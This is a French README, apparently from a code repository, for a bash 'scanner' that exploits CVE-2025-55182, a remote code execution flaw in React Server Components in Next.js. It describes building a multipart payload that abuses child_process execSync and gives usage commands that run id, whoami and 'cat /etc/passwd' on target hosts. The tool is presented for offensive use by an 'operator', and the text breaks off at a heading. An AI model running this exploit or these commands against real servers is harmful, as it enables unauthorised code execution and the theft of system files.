CVE-2025-55182 Scanner Avancé

Un utilitaire d'exploitation complet pour CVE-2025-55182 — Exécution de code à distance via les composants serveur React dans Next.js. Le scanner crée automatiquement la charge utile multipart et abuse de process.mainModule.require('child_process').execSync() pour exécuter des commandes OS arbitraires sur des instances vulnérables.

Fonctionnalités

• Générateur de charges utiles automatique — aucun encodage manuel requis
• Exécution de commande avec extraction propre du STDOUT
• Détection automatique du protocole (https:// appliqué si manquant)
• Décodage d'URL approprié + restauration des sauts de ligne
• Sortie riche en couleurs pour un retour rapide à l'opérateur
• Empreinte d'erreur (500 / 403 / SSL / timeout / motifs WAF)

Installation chmod +x scanner.sh

Utilisation

Analyse par défaut (exécute 'id')

./scanner.sh -d vulnerable-app.com

Exécution de commande personnalisée

./scanner.sh -d vulnerable-app.com -c "whoami"

Avec protocole explicite

./scanner.sh -d http://localhost:3000 -c "cat /etc/passwd"

Options

Exemples

Vérifier la RCE

./scanner.sh -d shop.example.com

Empreinte système